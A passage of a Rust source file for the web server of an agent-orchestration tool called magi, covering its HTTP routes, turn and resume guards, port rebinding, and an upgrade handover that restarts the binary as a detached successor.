875    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
876        let mut live = self
877            .resuming
878            .lock()
879            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
880        if !live.insert(id.to_owned()) {
881            return Err(ApiError::conflict(format!(
882                "run {id} is already being resumed"
883            )));
884        }
885        Ok(ResumeGuard {
886            run: id.to_owned(),
887            resuming: Arc::clone(&self.resuming),
888        })
889    }
890
891    /// The router, with this state baked in.
892    ///
893    /// The three front-end files get one explicit route each rather than a
894    /// path parameter, so there is no traversal surface to get wrong: the set
895    /// of servable paths is the set written here. The asset route below is the
896    /// one exception and the only place in this server where a client names a
897    /// file; it is why [`valid_asset_name`] is checked before a path is built.
898    pub fn router(self) -> Router {
899        Router::new()
900            .route("/", get(index))
901            .route("/app.css", get(app_css))
902            .route("/app.js", get(app_js))
903            .route("/api/health", get(health))
904            .route("/api/loop", get(loop_get).post(loop_post))
905            .route("/api/upgrade", post(upgrade_post))
906            .route("/api/runs", get(runs_list))
907            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
908            .route("/api/runs/{id}/report", get(run_report))
909            .route("/api/runs/{id}/report.json", get(run_report_json))
910            .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
911            .route("/api/runs/{id}/fold", post(run_fold))
912            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
913            .route("/api/runs/{id}/resume", post(run_resume))
914            .route("/api/queue", get(queue_list))
915            .route("/api/search", get(search_get))
916            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
917            .route("/api/stats", get(stats_get))
918            .route("/api/repos", get(repos_list))
919            .route("/api/settings", get(settings_get))
920            .route("/api/settings/roles", put(settings_put_roles))
921            .route("/api/queue/{id}/hold", post(queue_hold))
922            .route("/api/queue/{id}/release", post(queue_release))
923            .route("/api/queue/{id}/priority", post(queue_priority))
924            .route("/api/queue/{id}/urgent", post(queue_urgent))
925            .route("/api/queue/{id}/implementers", post(queue_implementers))
926            .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
927            .route("/api/queue/{id}/edit", post(queue_edit))
928            .route("/api/queue/{id}/done", post(queue_done))
929            .route("/api/questions", get(questions_list))
930            .route("/api/questions/{id}/answer", post(question_answer))
931            .route("/api/questions/{id}/say", post(question_say))
932            .route("/api/questions/{id}/consult", post(question_consult))
933            .route("/api/questions/{id}/panel", get(question_panel))
934            // The same asset, reachable from inside the panel by its bare
935            // filename. A document served at `.../panel` resolves `shot.png`
936            // to `.../shot.png`, which is not the asset route, so a panel
937            // written the way its author was told to write it showed broken
938            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
939            // it - deliberately - so the fix is that the panel's own URL ends
940            // in a filename and its siblings are the assets.
941            .route("/api/questions/{id}/panel/index.html", get(question_panel))
942            .route("/api/questions/{id}/panel/{name}", get(question_asset))
943            .route("/api/questions/{id}/asset/{name}", get(question_asset))
944            .route("/api/notifications", get(notifications_list))
945            .route("/api/notifications/read-all", post(notifications_read_all))
946            .route("/api/notifications/{id}/read", post(notification_read))
947            .route(
948                "/api/notifications/{id}/dismiss",
949                post(notification_dismiss),
950            )
951            .route("/api/talks", get(talks_list).post(talk_post))
952            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
953            .route("/api/talks/{id}/say", post(talk_say))
954            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
955            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
956            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
957            .route("/api/talks/{id}/agent", post(talk_agent))
958            .route("/api/talks/{id}/persona", post(talk_persona))
959            .route("/api/talks/{id}/implementers", post(talk_implementers))
960            .route("/api/talks/{id}/close", post(talk_close))
961            .route("/api/talks/{id}/reopen", post(talk_reopen))
962            // `DefaultBodyLimit` is raised only on this one route - every
963            // other route on this server answers in a few kilobytes, and
964            // widening the crate-wide default for all of them just because
965            // one accepts a picture would let any other handler be handed
966            // a multi-megabyte body it never expects.
967            .route(
968                "/api/talks/{id}/attachments",
969                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
970            )
971            .route(
972                "/api/talks/{id}/attachments/{att}",
973                get(talk_attachment_get),
974            )
975            .route("/api/talks/{id}/avatar", get(talk_avatar))
976            .route("/avatars/operator.svg", get(operator_avatar))
977            .route("/avatars/magi", get(magi_avatar))
978            .route(
979                "/api/magi-icon",
980                get(magi_icon_get)
981                    .put(magi_icon_put)
982                    .delete(magi_icon_delete),
983            )
984            .route("/api/events", get(events))
985            .with_state(Arc::new(self))
986    }
987}
988
989/// What a chat request is told while an upgrade is parking and the request
990/// cannot be queued as a draft.
991const UPGRADE_IN_PROGRESS: &str = "upgrade in progress, try again in a moment";
992
993/// One talk's turn slot, released on drop.
994///
995/// A guard rather than a matching `remove` at the end of the handler, because
996/// the handler has several early returns and one `await` that can be cancelled
997/// out from under it. A leaked id is a talk nobody can talk to again.
998#[derive(Debug)]
999struct TalkTurnGuard {
1000    talk: String,
1001    turns: Arc<Mutex<TalkTurns>>,
1002    released: bool,
1003    /// The cross-process half of the slot; dropped with the guard.
1004    lease: Option<crate::talk::TurnLease>,
1005}
1006
1007/// In-memory turn ownership plus the queue generation observed by a drainer.
1008///
1009/// The generation changes only after a durable queued draft is written and its
1010/// caller finds the turn busy. That lets the loop run filesystem work outside
1011/// this mutex while still making the final empty-check/release atomic with a
1012/// concurrent queue handoff.
1013#[derive(Debug, Default)]
1014struct TalkTurns {
1015    live: HashSet<String>,
1016    queued: HashMap<String, u64>,
1017    /// Set while an upgrade hand-over is parking: no turn may start, so the
1018    /// set in `live` can only shrink. Cleared again if the hand-over ends
1019    /// without exiting the process.
1020    parking: bool,
1021}
1022
1023/// The atomic initial-state decision made by
1024/// [`Ui::begin_talk_turn_unless_pending`].
1025enum TalkTurnStart {
1026    Claimed(TalkTurnGuard),
1027    Busy,
1028    /// Another process holds the turn lease. Unlike `Busy` there is no local
1029    /// drain loop that would answer a queued draft, so the caller refuses.
1030    Foreign,
1031    Pending,
1032}
1033
1034impl TalkTurnGuard {
1035    /// Does this guard still own the on-disk lease? A transient failure to
1036    /// check counts as owning: the next beat decides. A guard that lost it
1037    /// must not start another turn on the same session.
1038    fn owns(&self) -> bool {
1039        self.lease
1040            .as_ref()
1041            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1042    }
1043
1044    /// `talk::respond` while renewing the on-disk lease, so a turn longer
1045    /// than the lease's TTL still reads as held to other processes.
1046    async fn respond(
1047        &self,
1048        talk: &mut Talk,
1049        talks: &Talks,
1050        cfg: &Config,
1051        text: &str,
1052    ) -> anyhow::Result<()> {
1053        let lease = self
1054            .lease
1055            .as_ref()
1056            .context("the turn guard no longer holds its lease")?;
1057        talk::respond(lease, talk, talks, cfg, text).await
1058    }
1059
1060    /// Release while the caller already holds the claim mutex, closing the
1061    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1062    fn release(mut self, live: &mut TalkTurns) {
1063        // The on-disk lease goes first: while `live` still names the talk, no
1064        // local claim can start, so nobody observes the slot free but the
1065        // lease held.
1066        self.lease = None;
1067        live.live.remove(&self.talk);
1068        live.queued.remove(&self.talk);
1069        self.released = true;
1070    }
1071}
1072
1073impl Drop for TalkTurnGuard {
1074    fn drop(&mut self) {
1075        if self.released {
1076            return;
1077        }
1078        // Lease first, then the in-process slot (see `release`).
1079        drop(self.lease.take());
1080        if let Ok(mut live) = self.turns.lock() {
1081            live.live.remove(&self.talk);
1082            live.queued.remove(&self.talk);
1083        }
1084    }
1085}
1086
1087/// Releases a resume claim, so a run is resumable again after the attempt.
1088struct ResumeGuard {
1089    run: String,
1090    resuming: Arc<Mutex<HashSet<String>>>,
1091}
1092
1093impl Drop for ResumeGuard {
1094    fn drop(&mut self) {
1095        if let Ok(mut live) = self.resuming.lock() {
1096            live.remove(&self.run);
1097        }
1098    }
1099}
1100
1101/// Bind the port, waiting briefly for a predecessor to let go of it.
1102///
1103/// A restart hands the address from one process to the next, and the old one
1104/// holds its listener until it unwinds. A single `bind` can lose that race,
1105/// and for a restart triggered from a phone that means the deck never comes
1106/// back with no terminal around to say why.
1107///
1108/// Bounded, and only for the one error a wait can fix: anything else fails at
1109/// once, because retrying it would turn a clear message into a silence.
1110async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1111    const WINDOW: Duration = Duration::from_secs(10);
1112    const GAP: Duration = Duration::from_millis(250);
1113
1114    let deadline = std::time::Instant::now() + WINDOW;
1115    let mut said = false;
1116    loop {
1117        match tokio::net::TcpListener::bind(socket).await {
1118            Ok(listener) => return Ok(listener),
1119            Err(e)
1120                if e.kind() == std::io::ErrorKind::AddrInUse
1121                    && std::time::Instant::now() < deadline =>
1122            {
1123                if !said {
1124                    said = true;
1125                    tracing::info!(
1126                        "{socket} is still held - waiting up to {}s for it, \
1127                         which is what a restart looks like from here",
1128                        WINDOW.as_secs()
1129                    );
1130                }
1131                tokio::time::sleep(GAP).await;
1132            }
1133            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1134        }
1135    }
1136}
1137
1138/// Signalled when an upgrade has replaced the binary and the successor should
1139/// take this address over. One per process: there is one address to hand on.
1140static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1141
1142/// Set to `1` on the successor when the loop was running at handover.
1143const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1144
1145/// Whether the environment value asks for the loop to be resumed.
1146fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1147    value.is_some_and(|v| v == "1")
1148}
1149
1150/// Start this binary again with the same arguments, detached.
1151///
1152/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1153/// so the address is already free when the successor binds it. The first
1154/// attempt at this spawned the successor two hundred milliseconds before
1155/// exiting instead, and the released binary - which has no bind retry - died
1156/// on "address already in use" with its stdio sent to null, so the deck
1157/// simply never came back.
1158///
1159/// Detached and without inherited stdio: the successor has to outlive this
1160/// process, and must not hold open a pipe a terminal is waiting on.
1161///
1162/// `resume` tells the successor to start the queue loop, through
1163/// [`RESUME_LOOP_ENV`]. It is always set or removed explicitly so a value this
1164/// process inherited from its own predecessor cannot leak into a generation
1165/// that should not resume. The successor's own environment keeps the variable
1166/// (and so do the agent CLIs it starts); `serve` reads it once at startup.
1167///
1168/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1169/// than sent to null: a supervisor's redirection only ever held the first
1170/// generation's descriptors, so every later generation logged nowhere. The
1171/// pid of the child is returned so the handover log can name it.
1172fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1173    let exe = std::env::current_exe().context("find this binary")?;
1174    let args: Vec<String> = std::env::args().skip(1).collect();
1175    updater::log_step(
1176        home,
1177        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1178    );
1179    let log_path = home.join(WEB_LOG);
1180    let open_log = || {
1181        std::fs::create_dir_all(home)?;
1182        std::fs::OpenOptions::new()
1183            .create(true)
1184            .append(true)
1185            .open(&log_path)
1186    };
1187    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1188        Ok(pair) => (
1189            std::process::Stdio::from(pair.0),
1190            std::process::Stdio::from(pair.1),
1191        ),
1192        Err(e) => {
1193            updater::log_warn(
1194                home,
1195                &format!(
1196                    "could not open {}: {e}; the successor logs nowhere",
1197                    log_path.display()
1198                ),
1199            );
1200            (std::process::Stdio::null(), std::process::Stdio::null())
1201        }
1202    };
1203
1204    let mut cmd = std::process::Command::new(&exe);
1205    if resume {
1206        cmd.env(RESUME_LOOP_ENV, "1");
1207    } else {
1208        cmd.env_remove(RESUME_LOOP_ENV);
1209    }
1210    cmd.args(&args)
1211        .stdin(std::process::Stdio::null())
1212        .stdout(out)
1213        .stderr(err);
1214    #[cfg(windows)]
1215    {
1216        use std::os::windows::process::CommandExt as _;
1217        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1218        // and Ctrl-C in the old terminal must not reach the successor.
1219        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1220    }
1221    let child = cmd.spawn().context("start the successor")?;
1222    Ok(child.id())
1223}
1224
1225/// File under `<home>` the successor's output is appended to.
1226const WEB_LOG: &str = "web.log";
1227
1228/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
1229/// stored by an earlier `notify_one` is consumed by the first poll, so the
1230/// signal is never missed and never wakes a second time.
1231async fn wait_for_handover(signal: &Notify) {
1232    signal.notified().await;
1233}
1234
1235/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
1236///
1237/// The server itself owns no state, so nothing here is graceful for the HTTP
1238/// side's sake: the connections go with the dropped listener, which costs a
1239/// phone one change-stream reconnection it was going to make anyway.
1240///
1241/// The signal branch is not optional now that the loop lives in this process.
1242/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
1243/// handler is what stops the signal terminating the process - so without a
1244/// branch of our own, the first Ctrl-C after the operator started the loop
1245/// would stop the loop and leave `magi web` listening forever, unkillable
1246/// from the terminal it was started in.
1247///
1248/// What it waits for is the loop, not the sockets. A run in flight is
1249/// finished first, for the reason [`daemon::serve`] gives: killing the graph
1250/// mid-node leaves worktrees, branches and agent sessions behind and throws
1251/// away every agent call already paid for.
1252///
1253/// The server therefore runs on a task of its own rather than inside the
1254/// `select!`: an arm that resolves *drops* the futures the other arms were
1255/// polling, so serving the address from inside one would take the deck down
1256/// at the instant the handover began and keep it down for the whole park -
1257/// up to `timeout_implement`, an hour by default. See [`hand_over`], which
1258/// owns the order.
1259pub async fn serve(opts: Opts) -> Result<()> {
1260    let (addr, warning) = resolve_bind(&opts.bind);
1261    if let Some(warning) = warning {
1262        tracing::warn!("{warning}");
1263    }
1264
1265    // Process-global, and therefore set exactly once, here: the report route
1266    // must never emit escape sequences into a browser, and toggling the flag
1267    // per request would race with a concurrent request rendering its own
1268    // report. Startup is the only moment at which no request can observe the
1269    // change. Nothing in the server turns colour back on.
1270    report::set_color(false);
1271
1272    let repo = normalize_default_repo(opts.repo).await;
1273    let ui = Ui::open(repo).with_merge(opts.merge);
1274    // Cloned before `ui.router()` consumes `ui` below: `hand_over` needs the
1275    // home to bracket the parking and restarting stages, and `run_update_recheck`
1276    // needs both it and the repo, and by then there is no `ui` left to read
1277    // them from.
1278    let home = ui.home.clone();
1279    let repo = ui.repo.clone();
1280    // Settles a progress record a predecessor left non-terminal - either this
1281    // *is* the successor `spawn_successor` started, or the previous process
1282    // died mid-handover. Before the router starts answering, so the very
1283    // first `/api/health` a phone gets from this process already reflects it.
1284    updater::reconcile_after_restart(&home);
1285    updater::log_step(
1286        &home,
1287        &format!(
1288            "web process started (version {}); handover log {}, successor output {}",
1289            env!("CARGO_PKG_VERSION"),
1290            updater::log_path(&home).display(),
1291            home.join(WEB_LOG).display()
1292        ),
1293    );
1294    updater::spawn_watchdog(home.clone());
1295    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1296    // `spawn_update_check` does at startup only ever runs once: after that,
1297    // `/api/health`'s `update` field - and the phone's "Update & restart"
1298    // button, which reads the very same cache - would stay frozen on
1299    // whatever that single check found, no matter how many releases ship
1300    // afterwards. This keeps it current instead. Detached: it must keep
1301    // going for as long as this process serves, `serve` has nothing to await
1302    // it for, and it exits on its own the moment the process does.
1303    tokio::spawn(run_update_recheck(repo, home.clone()));
1304    let looping = ui.looping();
1305    let turns = ui.turns();
1306    let talk_store = ui.talks.clone();
1307    let socket = SocketAddr::new(addr, opts.port);
1308    let listener = bind_waiting(socket).await?;
1309    let url = format!("http://{addr}:{}", opts.port);
1310    tracing::info!(
1311        "magi web UI on {url} - there is no authentication, so anyone who can \
1312         reach this address can file and hold tasks: the tailnet is the \
1313         security boundary"
1314    );
1315    if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1316        tracing::info!("resumed the loop the predecessor was running");
1317    } else {
1318        tracing::info!(
1319            "the queue loop is not running yet - start it from the UI, which is \
1320             the whole reason this process can: nothing in the queue moves until \
1321             something is running the loop"
1322        );
1323    }
1324    if opts.open {
1325        // The URL alone on stdout, for a caller that wants to open it. magi
1326        // does not spawn a browser: on the machine this usually runs on there
1327        // is no display, and a failed launch would be the only output.
1328        println!("{url}");
1329    }
1330
1331    // On its own task, so nothing this function awaits can stop the address
1332    // being answered. `hand_over` is where it is given up.
1333    let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1334    let interrupted = async {
1335        if tokio::signal::ctrl_c().await.is_err() {
1336            // No handler on this platform, so there is no signal to act on.
1337            // Never resolving is the safe answer: a failed registration must
1338            // not masquerade as the operator asking for a shutdown and take
1339            // the UI down on startup.
1340            std::future::pending::<()>().await;
1341        }
1342    };
1343    let handover = wait_for_handover(&HANDOVER);
1344    let outcome = tokio::select! {
1345        joined = &mut served => match joined {
1346            Ok(outcome) => outcome.context("serve the web UI"),
1347            Err(e) => Err(e).context("the task serving the web UI ended"),
1348        },
1349        () = interrupted => {
1350            tracing::info!("shutting down the web UI");
1351            finish_loop(&home, &looping, None).await;
1352            Ok(())
1353        }
1354        () = handover => {
1355            updater::log_step(&home, "serve: the select! woke on the handover signal");
1356            let successor_home = home.clone();
1357            let wait_for = move |ids: &[String]| talk_wait_for(&talk_store, ids);
1358            hand_over(&home, &looping, &turns, &wait_for, served, move |resume| {
1359                spawn_successor(&successor_home, resume)
1360            })
1361            .await
1362        }
1363    };
1364    updater::log_step(
1365        &home,
1366        &match &outcome {
1367            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1368            Err(e) => format!("serve: returning an error: {e:#}"),
1369        },
1370    );
1371    outcome
1372}
1373
1374/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
1375/// process's own working directory is not a git checkout at all - the
1376/// checkout [`repos::discover_verified`] finds instead.
1377///
1378/// Only the unmodified default is ever replaced: an operator who named a
1379/// directory outright, git checkout or not, gets exactly that directory
1380/// back, and the same story downstream (a talk whose briefing embeds a
1381/// non-git directory, and an agent that has to ask the operator where the
1382/// real repository is) that has always told them so - substituting a guess
1383/// for an explicit answer would be a second, silent opinion about what they
1384/// meant. There is no instruction or task text yet to match against this
1385/// early, so only [`repos::discover_verified`]'s own-repository tier can
1386/// ever settle this - the hint tier never fires here.
1387///
1388/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
1389/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
1390/// or a git installation that is broken in exactly the way that made the
1391/// original `canonical` check above fail too - so it is re-checked with
1392/// `git::toplevel` before it is ever used in place of the operator's own
1393/// directory.
1394async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1395    if repo != FsPath::new(".") {
1396        return repo;
1397    }
1398    let Ok(canonical) = repo.canonicalize() else {
1399        return repo;
1400    };
1401    if git::toplevel(&canonical).await.is_ok() {
1402        return repo;
1403    }
1404    let Some(home) = dirs::home_dir() else {
1405        return repo;
1406    };
1407    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1408        Some(found) => {
1409            tracing::info!(
1410                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1411                canonical.display(),
1412                found.path.display(),
1413                found.reason,
1414            );
1415            found.path
1416        }
1417        None => repo,
1418    }
1419}
1420
1421/// Park the loop, then release the address, then start the successor.
1422///
1423/// The order is the whole function, and each step is answerable to a failure
1424/// this arrangement has already had:
1425///
1426/// 1. **Park.** The loop was asked to stop by the request that replaced the
1427///    binary, and this waits for it, because killing the graph mid-node
1428///    leaves worktrees, branches and agent sessions behind and throws away
1429///    every agent call already paid for. It takes as long as the node in
1430///    flight - up to `timeout_implement`, an hour by default - and the deck
1431///    goes on answering for all of it, which is the reason `served` is a task
1432///    rather than an arm of [`serve`]'s `select!`. It was an arm once: the
1433///    first upgrade from a phone that caught a run mid-implement dropped the
1434///    listener the moment it was asked to, and the operator got
1435///    `Cannot reach magi: Failed to fetch` with no way to see the park it was
1436///    waiting on and nothing but a process list to say the run was alive.
1437/// 2. **Release.** Aborting *and awaiting* the task is what frees the socket:
1438///    the join resolves only once the task's future has been dropped, so the
1439///    listener is released before the next line. Connections it already
1440///    accepted are served on tasks of their own and wind down asynchronously;
1441///    on some platforms (macOS) they can briefly keep the address busy, and
1442///    the successor's `bind_waiting` absorbs that.
1443/// 3. **Start the successor**, which binds the address this process has just
1444///    let go of - see [`spawn_successor`] for what the other order cost.
1445///
1446/// The [`updater::Progress`] bookkeeping bracketing steps 1 and 3 is
1447/// reporting, not part of the design: it exists so `/api/health` can say
1448/// "parking, waiting on run X" instead of leaving the phone to guess why the
1449/// deck went quiet, and dropping it would not change the order above.
1450async fn hand_over(
1451    home: &FsPath,
1452    looping: &Mutex<LoopState>,
1453    turns: &Arc<Mutex<TalkTurns>>,
1454    talk_wait: &(dyn Fn(&[String]) -> Duration + Sync),
1455    served: tokio::task::JoinHandle<std::io::Result<()>>,
1456    successor: impl FnOnce(bool) -> Result<u32>,
1457) -> Result<()> {
1458    updater::log_step(home, "hand_over: entered; writing the parking stage");
1459    // The lease and the stage are written as one step, so a reader that sees
1460    // `parking` also finds the proof that hand_over is alive. Dropped on
1461    // every way out.
1462    let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1463    if !recorded {
1464        updater::log_warn(
1465            home,
1466            "hand_over: upgrade.json is unreadable; no parking stage",
1467        );
1468    }
1469    // Chat stays open while the loop parks: nothing restarts until it ends,
1470    // and the park can last as long as a node. Only once it is done is the
1471    // slot closed, right before the restart; a turn started earlier is in
1472    // `live` by then, so `finish_talks` waits for it.
1473    finish_loop(home, looping, Some(&mut lease)).await;
1474    let parking = ParkingTurns::begin(turns);
1475    let talks_done = finish_talks(home, turns, talk_wait);
1476    tokio::pin!(talks_done);
1477    let mut beat = tokio::time::interval(LEASE_BEAT);
1478    let (abandoned, waited_for) = loop {
1479        tokio::select! {
1480            left = &mut talks_done => break left,
1481            _ = beat.tick() => lease.beat(),
1482        }
1483    };
1484    drop(lease);
1485    updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1486    served.abort();
1487    let _ = served.await;
1488    updater::log_step(home, "hand_over: listener released");
1489    // Read last: the deck answers for the whole park, so an operator's stop
1490    // during the wait must still be honoured by the successor.
1491    let resume = lock_or_recover(looping).resume_after_handover;
1492    match updater::read_progress(home) {
1493        Some(mut progress) => {
1494            progress.advance(updater::Stage::Restarting);
1495            if !abandoned.is_empty() {
1496                progress.detail = Some(format!(
1497                    "handed over while {} still running after {} s",
1498                    updater::talks_phrase(&abandoned),
1499                    waited_for.as_secs()
1500                ));
1501            }
1502            updater::write_progress_logged(home, &progress);
1503        }
1504        None => updater::log_warn(
1505            home,
1506            "hand_over: upgrade.json is unreadable; no restarting stage",
1507        ),
1508    }
1509    updater::log_step(
1510        home,
1511        &format!("hand_over: starting the successor (resume={resume})"),
1512    );
1513    drop(parking);
1514    match successor(resume) {
1515        Ok(pid) => {
1516            updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1517            Ok(())
1518        }
1519        Err(e) => {
1520            updater::log_warn(
1521                home,
1522                &format!("hand_over: the successor did not start: {e:#}"),
1523            );
1524            Err(e)
1525        }
1526    }
1527}
1528
1529/// Grace added to `[graph] timeout_talk` for the upgrade's wait on chat turns:
1530/// a turn that runs its full timeout still needs a moment to record its answer.
1531const TALK_PARK_GRACE: Duration = Duration::from_secs(60);
1532
1533/// How often the park looks at the chat turns still running.
1534const TALK_POLL: Duration = Duration::from_millis(250);
1535
1536/// The longest an upgrade waits for chat turns: one turn's timeout plus a
1537/// grace. Beyond it a stuck turn must not block the hand-over.
1538fn talk_wait_bound(timeout_talk_secs: u64) -> Duration {
1539    Duration::from_secs(timeout_talk_secs) + TALK_PARK_GRACE
1540}
1541
1542/// The bound for the turns of `ids`: the longest `[graph] timeout_talk` among
1543/// the repositories those talks run in (each turn uses its own talk's
1544/// configuration), plus the grace. A talk or config that cannot be read counts
1545/// with the default timeout.
1546fn talk_wait_for(talks: &Talks, ids: &[String]) -> Duration {
1547    let default = Config::default().graph.timeout_talk;
1548    let longest = ids
1549        .iter()
1550        .map(|id| {
1551            talks
1552                .get(id)
1553                .ok()
1554                .and_then(|t| Config::discover(&t.repo, None).ok())
1555                .map_or(default, |(c, _)| c.graph.timeout_talk)
1556        })
1557        .max()
1558        .unwrap_or(default);
1559    talk_wait_bound(longest)
1560}
1561
1562/// Stops new chat turns for as long as it lives, so the hand-over only ever
1563/// waits on a set that cannot grow. `hand_over` takes it only after the loop
1564/// has stopped, so chat stays usable while the loop parks. Dropping it reopens the slots.
1565struct ParkingTurns(Arc<Mutex<TalkTurns>>);
1566
1567impl ParkingTurns {
1568    fn begin(turns: &Arc<Mutex<TalkTurns>>) -> Self {
1569        turns.lock().unwrap_or_else(PoisonError::into_inner).parking = true;
1570        Self(Arc::clone(turns))
1571    }
1572}
1573
1574impl Drop for ParkingTurns {
1575    fn drop(&mut self) {
1576        self.0
1577            .lock()
1578            .unwrap_or_else(PoisonError::into_inner)
1579            .parking = false;
1580    }
1581}
1582
1583/// Wait until no chat turn is running in this process, for at most the longest
1584/// `bound_for` has given for the turns seen so far. Returns the talk ids still
1585/// running when the bound was hit (empty when the turns finished) with the
1586/// bound that applied, after saying so in the upgrade log.
1587async fn finish_talks(
1588    home: &FsPath,
1589    turns: &Mutex<TalkTurns>,
1590    bound_for: &(dyn Fn(&[String]) -> Duration + Sync),
1591) -> (Vec<String>, Duration) {
1592    let running = || {
1593        let mut ids: Vec<String> = turns
1594            .lock()
1595            .unwrap_or_else(PoisonError::into_inner)
1596            .live
1597            .iter()
1598            .cloned()
1599            .collect();
1600        // A turn another task of this process (the daemon's completion
1601        // notice) or another process runs holds only the on-disk lease.
1602        let talks = talk::Talks::at(home.join("talks"));
1603        for t in talks.list() {
1604            if talks.turn_held(&t.id) && !ids.contains(&t.id) {
1605                ids.push(t.id);
1606            }
1607        }
1608        ids.sort();
1609        ids
1610    };
1611    let started = std::time::Instant::now();
1612    let mut seen = Vec::new();
1613    let mut bound = Duration::ZERO;
1614    loop {
1615        let ids = running();
1616        if ids != seen {
1617            bound = bound.max(bound_for(&ids));
1618            if ids.is_empty() {
1619                updater::log_step(home, "finish_talks: no chat turn is running");
1620            } else {
1621                updater::log_step(
1622                    home,
1623                    &format!(
1624                        "finish_talks: waiting for {} to finish",
1625                        updater::talks_phrase(&ids)
1626                    ),
1627                );
1628            }
1629            updater::set_parked_talks(home, &ids);
1630            seen = ids;
1631        }
1632        if seen.is_empty() {
1633            return (Vec::new(), bound);
1634        }
1635        if started.elapsed() >= bound {
1636            updater::log_warn(
1637                home,
1638                &format!(
1639                    "finish_talks: {} still running after {} s; handing over anyway",
1640                    updater::talks_phrase(&seen),
1641                    bound.as_secs()
1642                ),
1643            );
1644            return (seen, bound);
1645        }
1646        tokio::time::sleep(TALK_POLL).await;
1647    }
1648}
1649
1650/// How often `finish_loop` renews the handover lease; well inside
1651/// [`updater::LEASE_TTL_SECS`].
1652const LEASE_BEAT: Duration = Duration::from_secs(20);
1653
1654/// Ask the loop to stop and wait for it, on the way out of [`serve`].
1655///
1656/// The wait is the whole function. Returning from `serve` while a graph is
1657/// mid-node ends the process with worktrees, branches and agent sessions left
1658/// behind and every agent call in that run paid for and thrown away, which is
1659/// exactly what the daemon's own shutdown refuses to do.
1660async fn finish_loop(
1661    home: &FsPath,
1662    state: &Mutex<LoopState>,
1663    mut lease: Option<&mut updater::LeaseGuard>,
1664) {
1665    let live = lock_or_recover(state).live.take();
1666    let Some(live) = live else {
1667        updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1668        return;
1669    };
1670    live.stop.stop();
1671    lock_or_recover(state).rev += 1;
1672    updater::log_step(
1673        home,
1674        "finish_loop: waiting for the loop to finish the run in flight",
1675    );
1676    let waited = std::time::Instant::now();
1677    // The task records its own outcome and logs it, so there is nothing to do
1678    // with a join error here but stop waiting.
1679    let mut handle = live.handle;
1680    let mut beat = tokio::time::interval(LEASE_BEAT);
1681    loop {
1682        tokio::select! {
1683            _ = &mut handle => break,
1684            _ = beat.tick() => {
1685                if let Some(lease) = lease.as_deref_mut() {
1686                    lease.beat();
1687                }
1688            }
1689        }
1690    }
1691    updater::log_step(
1692        home,
1693        &format!(
1694            "finish_loop: the loop ended after {:.1}s",
1695            waited.elapsed().as_secs_f32()
1696        ),
1697    );
1698}
1699
1700/// Resolve `--bind` to an address, plus a warning when the answer is not what
1701/// the operator asked for.
1702///
1703/// Split out from [`serve`] because the interesting half - deciding whether
1704/// Tailscale gave us something usable - is testable without opening a socket.
1705pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1706    match bind {
1707        Bind::Addr(addr) => (*addr, None),
1708        Bind::Auto => match tailscale_ip() {
1709            Ok(ip) => (IpAddr::V4(ip), None),
1710            Err(why) => (
1711                IpAddr::V4(Ipv4Addr::LOCALHOST),
1712                Some(format!(
1713                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1714                     local-only and a phone cannot reach it; start Tailscale \
1715                     or pass --bind <addr>"
1716                )),
1717            ),
1718        },
1719    }
1720}
1721
1722/// This machine's Tailscale IPv4, or why there is not one.
1723///
1724/// `tailscale ip -4` is a local call against the running daemon and returns in
1725/// milliseconds, so it is fine to make it synchronously before the server
1726/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
1727/// CGNAT block Tailscale assigns from, and anything else on that output would
1728/// be a different tool answering.
1729fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1730    let out = std::process::Command::new("tailscale")
1731        .args(["ip", "-4"])
1732        .quiet()
1733        .output()
1734        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1735    if !out.status.success() {
1736        let why = String::from_utf8_lossy(&out.stderr);
